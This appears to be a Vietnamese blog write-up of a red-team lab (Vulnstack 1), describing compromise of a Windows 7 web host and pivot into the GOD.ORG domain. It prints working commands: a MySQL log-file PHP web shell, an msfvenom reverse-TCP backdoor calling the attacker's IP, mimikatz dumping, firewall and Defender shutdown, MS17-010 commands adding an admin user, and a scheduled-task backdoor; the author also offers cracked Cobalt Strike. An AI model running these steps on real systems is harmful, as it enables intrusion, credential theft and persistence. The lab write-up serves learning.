Introduce
Một ngày tình cờ vu vơ trên không gian mạng. Khi đang đọc blog của các pháp sư Trung Hoa tuổi trẻ tài cao. Tôi tình cờ biết đến loạt bài lab red team thực chiến . Thấy phạm vi của lab khá rộng, attack từ mạng ngoài vào DMZ rồi vào internal network, domain, pivot, xoay vòng, … giống như mô hình mạng của một công ty, doanh nghiệp vậy. Nên tôi quyết định phải chinh phục hết toàn bộ series lab. Series này là vulnstack, gồm 7 phần từ 1-7. Được tạo bởi nhóm bảo mật Red Sun. Mỗi lab khoảng từ 10 – 25GB. Tải từ cloud của baidu. Tải thôi cũng mất nguyên mấy ngày.
Đây là bài viết đầu tiên cũng như là phần thứ nhất trong series gồm 7 phần của tôi. Đây cũng như nơi tôi ghi chép cho những gì mình đã làm, đã học được từ bài lab. Nên tôi cũng sẽ cố gắng để đi rộng, tận dụng nhiều phương thức khác nhau để khai thác với mục đích học tập là chính. Cũng hi vọng bạn đọc blog này cũng sẽ học được ít nhiều thông qua bài viết. Thông tin chính thức của Vulnstack 1 tại đây: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
Setup
Mô hình lab
Windows 7 ở ngoài gồm 2 card mạng
2 máy win server 2003 và 2008 nằm bên trong sẽ chỉ gồm 1 card mạng. Từ ngoài muốn nhìn được phải thông qua windows 7
Còn lại tất cả đều đặt theo mặc định
Password mặc định ban đầu là: HONGRISEC@2019. Password hết hạn nên sẽ đổi thành: quac@1234
IP máy win server 2003 : 192.168.52.141
IP máy win server 2008 : 192.168.52.138
IP máy win 7: 192.168.52.143 và 192.168.18.128 (NAT bên ngoài nhìn thấy)
Máy attacker: Kali Linux
Khởi động ứng dụng vuln từ windows 7
Server | IP |
---|---|
Windows 7 | Internal Network : 192.168.52.143 - NAT : 192.168.18.128 |
Windows Server 2003 | Internal Network : 192.168.52.141 |
Windows Server 2008 | Internal Network : 192.168.52.138 |
Foothold
Recon
Nmap scan Windows 7
Open port 80, 3306
Truy cập vào ứng dụng web
“PhpStudy is a program integration package for a PHP debugging environment. The package integrates the latest Apache+PHP+MySQL+phpMyAdmin+Zend Optimizer. It can be installed at one time and used without configuration. It is a very convenient and useful PHP debugging environment.”
Sử dụng Dirsearch ta tìm được
Thử với username/password mặc định: root/root -> đăng nhập thành công vào phpmyadmin
Thử lấy shell bằng cách này nhưng không được vì MySQL server đang chạy option –secure-file-priv (The –secure-file-priv option is a system variable used by MySQL to limit the ability of the users to export or import data from the database server.) https://sebhastian.com/mysql-fix-secure-file-priv-error/
secure_file_priv là NULL, nghĩa là Mysql không được phép export và import, do đó sẽ bị báo lỗi. Để thực hiện xuất câu lệnh thành công, bạn cần sửa đổi my.ini tệp trong thư mục Mysql và thêm vào [mysqld] secure_file_priv =""
Vậy ta sẽ đi tìm cách khác
RCE via MySQL Log File
show variables like '%general%';
general_log #đề cập đến trạng thái lưu log
general_log_file #đề cập đến đường dẫn lưu trữ log
Vậy trong trường hợp này nếu general_log được là ON và thay đổi đường dẫn general_log_file và ghi cái thứ gì đó thú vị vào. Liệu chúng ta có thể getshell?
SET GLOBAL general_log = ‘on’;
SET GLOBAL general_log_file = “C:/phpStudy/www/backdoor0.php’;
SELECT ' <?php echo exec($_GET["cmd"]);?>';
Ta biết được đường dẫn qua đây
Thử vào giao diện của Windows 7 để xem log được lưu lại:
Nice
Thành công RCE. Để học được nhiều hơn tôi sẽ không dừng lại ở đây. Sẽ đi tìm những cách khác nữa
RCE via YxCMS
Có một CSDL là newyscms. Vậy chắc chắn sẽ có 1 site chạy cms này. Tiếp tục đi tìm. Thử 1 vài lần thì tìm thấy nó tại
Tìm thấy thông tin đăng nhập trang admin ở ngay trên trang chính.
Đăng nhập thành công vào trang admin. Vậy mà ban đầu mình không nhìn thấy còn vào Database thêm user admin khác rồi đăng nhập
Trong phần chỉnh sửa font-end template
Chỉnh sửa index_index.php bằng mã php cho phép thực thi một OS command bằng lệnh gọi hàm system()
Thành công RCE
Tạo meterpreter shell php raw
Sửa nó như thế này
Chúng ta có shell meterpreter PHP ở đây. Nhưng hình nó không được ổn định cho lắm và php meterpreter shell bị hạn chế các module, chức năng. Vì vậy tôi sẽ sử dụng một meterpreter backdoor exe khác để đảm bảo độ ổn định:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.130 LPORT=443 -f exe -o rs_backdoor.exe
Tiến hành upload lên từ php meterpreter shell
Thực thi bằng backdoor ban đầu:
http://192.168.18.128/yxcms/index.php?cmd=C:\phpStudy\WWW\yxcms\rs_backdoor.exe
Và kết quả chúng ta có được meterpreter shell xịn
Dễ dàng đạt được đặc quyền cao nhất của windows: NT AUTHORITY\SYSTEM
bằng metasploit với getsystem command
Nếu các bạn muốn thực hành tay lỗi này để leo lang đặc quyền trong windows thì xem ở đây:
https://medium.com/r3d-buck3t/impersonating-privileges-with-juicy-potato-e5896b20d505
NTLM hash
Using mimikatz dump password user
Recon Internal Network
Một số lệnh thực hiện trên máy Windows 7 để lấy truy vấn thông tin và truy vấn thông tin domain:
Query command
ipconfig /all
net config Workstation
systeminfo
nslookup god.org : resolve domain name IP address
net config workstation : Query the current login domain and login user information
Query information command
wmic service list brief : Query local service information
tasklist : Query process
wmic process list brief : Use wmic to query the process
wmic startup get command,caption : View the startup process
schtasks/query/fo list/v : View scheduled tasks
net statistics workstation : View the host boot time
netstat -ano : Query port list
wmic qfe get caption,description,hotfixid,installedon : Query the patch installed on this machine
View account information in the machine
net user : View the list of local users
net localgroup administrators : Get local administrators
query user || qwinsta : Get online users
net session : List the sessions between the clients connected to the computer
net share : View the local share list
wmic share get name,path,status : Use wmic to query the local share list
Turn off the firewall, defender
netsh firewall set opmode disable : before windows server 2003
netsh advfirewall set allprofiles state off : after windows server 2003
net stop windefend : stop windefend
Surviving hosts in the detection domain
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
Find information in the domain
net view/domain : View domain
net group/domain : View the list of all users in the domain
net group "domain computers"/domain : View the list of domain member computers
group "domain computers" /domain : View other user in domain
net group "domain controllers" /domain : View domain controller
Và rất nhiều command khác. Sau khi có ít nhiều thông tin về server cũng như domain GOD.ORG .Giờ chúng ta sẽ scan, exploit mạng internal bên trong
Các subnet của server
run get_local_subnets
Như vậy đúng là có 2 subnet là dải 192.168.18.0/24 và 192.168.52.0/24. Dải 192.168.18.0/24 là dải từ máy kali của chúng ta có thể nhìn thấy. 192.168.52.0/24 là dải mạng internal bên trong. Giờ hãy scan để xem các host có trong mạng internal
scan host bên trong mạng internal sử dụng metasploit:
run arp_scanner -r 192.168.52.0/24
như vậy ngoài 192.168.52.143 là IP của máy windows 7 thì bên trong chúng ta còn thấy 2 server khác nữa là 192.168.52.138 và 192.168.52.141
scan port sử dụng metasploit:
Muốn nhìn được mạng internal bên trong chúng ta phải add route cho metasploit
meterpreter > run post/multi/manage/autoroute CMD=add SUBNET=192.168.52.0 NETMASK=255.255.255.0 #add route
route add 192.168.52.0 255.255.255.0 1(session id) #other way add route
Hãy xem cách khác ít lệ thuộc metasploit hơn bằng nnap: Kết hợp nmap + proxychains + socks5 proxy
tạo socks proxy với metasploit (lưu ý cũng cần add route mạng internal trước)
Thay đổi file config proxychains
Nmap scan thành công mạng internal qua socks5 proxy được tạo bởi metasploit
Giờ chúng ta không muốn lệ thuộc vào metasploit. Cùng tạo socks proxy không dùng metasploit
ở đây mình sử dụng công cụ gost: https://github.com/ginuerzh/gost . Vì mình thích golang. Nên mình cũng thích sử dụng những công cụ được viết bằng go. Ngoài ra còn rất nhiều công cụ để tạo socks proxy khác: Chisel, …
Download phiên bản cho windows, tải và chạy trên windows 7\
.\gost-windows-386.exe -L socks5://:9000
Lúc này ta đã có một socks5 proxy là máy windows 7, port 9000.
Để trực quan hơn chúng ta có thể sử dụng cobalt strike
Công cụ này là một trong những công cụ cực kì tuyệt vời và nhiều tính năng, được sử dụng rất phổ biến trong các cuộc tấn công APT. Nhưng cũng không dễ để tìm được 1 bản crack ổn định cũng như đầy đủ các tính năng. Các bạn có thể tự tìm hiểu thêm về nó nhé. Sau hàng chục bản, mình cũng tìm được 1 vài bản ổn định. Nếu muốn các bạn có thể liên hệ với mình nhé!
Exploit Internal Network
192.168.51.141
Scan qua proxychains
Scan qua proxychains khá lâu. Có thể tải nmap về máy windows 7 rồi thực hiện scan hay cũng có thể remote desktop trực tiếp vào máy windows 7
Enable RDP, open port 3389
Using registry : If open, change 0 to 1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server/v fDenyTSConnections/t REG_DWORD/d 0/f
Using wmic turns on 3389
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
Using metasploit
meterpreter > run getgui -e
meterpreter > run post/windows/manage/enable_rdp
Attacker remote
root@kali# rdesktop 192.168.18.128:3389
Sử dụng account đã lấy được khi dump với mimikatz
192.168.51.138
Scan với nmap đã tải về máy Windows 7
Domain GOD.ORG
Server | IP | Hostname |
---|---|---|
Windows 7 | Internal Network : 192.168.52.143 - NAT : 192.168.18.128 | STU1 |
Windows Server 2003 | Internal Network : 192.168.52.141 | ROOT-TVI862UBEH |
Windows Server 2008 | Internal Network : 192.168.52.138 | OWA (domain controller) |
Sau khi scan thấy cả 2 máy chủ internal bên trong đều open port 445 nên ta sẽ thử một làn sóng quét Eternal Blue Dường như cả 2 máy chủ internal đều bị ảnh hưởng
Cũng có thể sử dụng nmap với script : –script=smb-vuln-ms17-010.nse
Khai thác
Mặc dù vậy nhưng thử nhiều lần tôi vẫn không để lấy được shell của cả 2 máy chủ đó
Tại thời điểm này tôi vẫn cố gắng thử bằng nhiều cách. Tôi sử dụng một module khác cho phép chạy các command riêng lẻ tới máy chủ. Nó thành công. Thay vì lấy shell ta có thể tạo user mới trên hệ thống và RDP trực tiếp tới
Đầu tiên tôi sẽ tạo một người dùng mới\
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command net user quac quac@1234 /add
Sau đó là add người dùng đó vào group admin
set command net localgroup administrators quac /add
Xác nhận người dùng đã được thêm vào
set command net localgroup administrators
Cuối cùng là mở port 3389 cho phép Remote Desktop
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
Trước và sau khi open 3389
Giờ đây tôi có thể remote tới máy chủ này thông qua proxychains
Thành công remote tới máy chủ Windows server 2003 - ROOT-TVI862UBEH
Thật lạ. Trên máy chủ domain controller 192.168.52.138. Tôi có thể thêm tài khoản, open port 3389 nhưng không thể remote desktop đến được:
Mở port thành công:
msf6 auxiliary(admin/smb/ms17_010_command) > set command netstat -anot
Mặc dù 3389 LISTEN trên all interface nhưng từ bên ngoài scan thì port này ra kết quả là đang close
Tôi nghĩ đến. Đây có thể là do tưởng lửa của máy chủ này. Ngay sau đó tôi đã thực hiện một lệnh để tắt tưởng lửa trên máy chủ này:
set command netsh advfirewall set allprofiles state off
Thử lại nào:
Thành công! Lúc này ta có thể remote đến máy chủ:
Giờ đây tôi đã thành công kiểm soát được cả 2 máy chủ trong internal.
Vì mục đích học tập nên tôi sẽ tiếp tục tìm hiểu thêm về domain này. Giả sử máy chủ domain controller không bị ảnh hưởng bởi lỗ hổn ms17_010. Khi khai thác thành công Windows 7. Ta đã tải lên mimikatz và lấy được thông tin của 1 tài khoản trong miền GOD.ORG
Hãy xem tôi sử dụng tài khoản này để làm gì nhé:
Đầu tiên. Tạo một IPC connect tới máy chủ Domain controller 192.168.52.138
net use \\192.168.52.138\c$ "quac@1234" /user:"administrator"
dir \\192.168.52.138\$
Copy backdoor đã gen từ msfvenom
copy C:\phpStudy\WWW\yxcms\rs_backdoor.exe \\192.168.52.138\c$
Thiết lập một Windows Task Scheduler chạy backdoor:
schtasks /create /tn "backdoor" /tr C:\rs_backdoor.exe /sc minute /mo 1 /S 192.168.52.138 /RU System /u administrator /p "quac@1234"
(/s computer : Specifies the name or IP address of a remote computer (with or without backslashes). The default is the local computer.
Nó chưa thành công. Là vì máy chủ trong internal này không nhìn thấy được máy kali bên ngoài của tôi để kết nối tới. Phải chăng là do vậy? Nhưng khi tôi thử làm một điều khác:
schtasks /create /tn "backdoor" /tr notepad /sc minute /mo 1 /S 192.168.52.138 /RU System /u administrator /p "quac@1234"
Là bật notepad thì nó cũng không được thực thi. Cũng không thể xem các schtasks :((
Bloodhound
BloodHound is a data visualisation tool, meaning without any data is not at all useful. BloodHound is very good at visualising Active Directory object relationships and various permissions between those relationships.
In order for BloodHound to do its magic, we need to enumerate a victim domain. The enumeration process produces a JSON file that describes various relationships and permissions between AD objects as mentioned earlier, which can then be imported to BloodHound. Once the resulting JSON file is ingested/imported to BloodHound, it will allow us to visually see the ways (if any) how Active Directory and its various objects can be (ab)used to elevate privileges, ideally to Domain Admin.
Tải về SharpHound.exe để thu thập thông tin
Nhưng dường như nó không thể chạy trên windows 7, hoặc ít nhất là không thể chạy trên máy chủ này. Tôi sẽ sử dụng nó trong các bài vulnstack tới đây.
Đã học được:
Kiên trì, tận dụng những thứ có sẵn để tấn công mục tiêu
RCE qua MySQL log file
Và nhiều điều hay ho khác
Cảm ơn vì đã đọc bài viết của tôi. Hi vọng các bạn sẽ học được gì từ đây. Tôi sẽ sớm ra Vulnstack 2 sau khi hoàn thành.
Tham khảo:
https://blog.csdn.net/weixin_39190897/article/details/99108699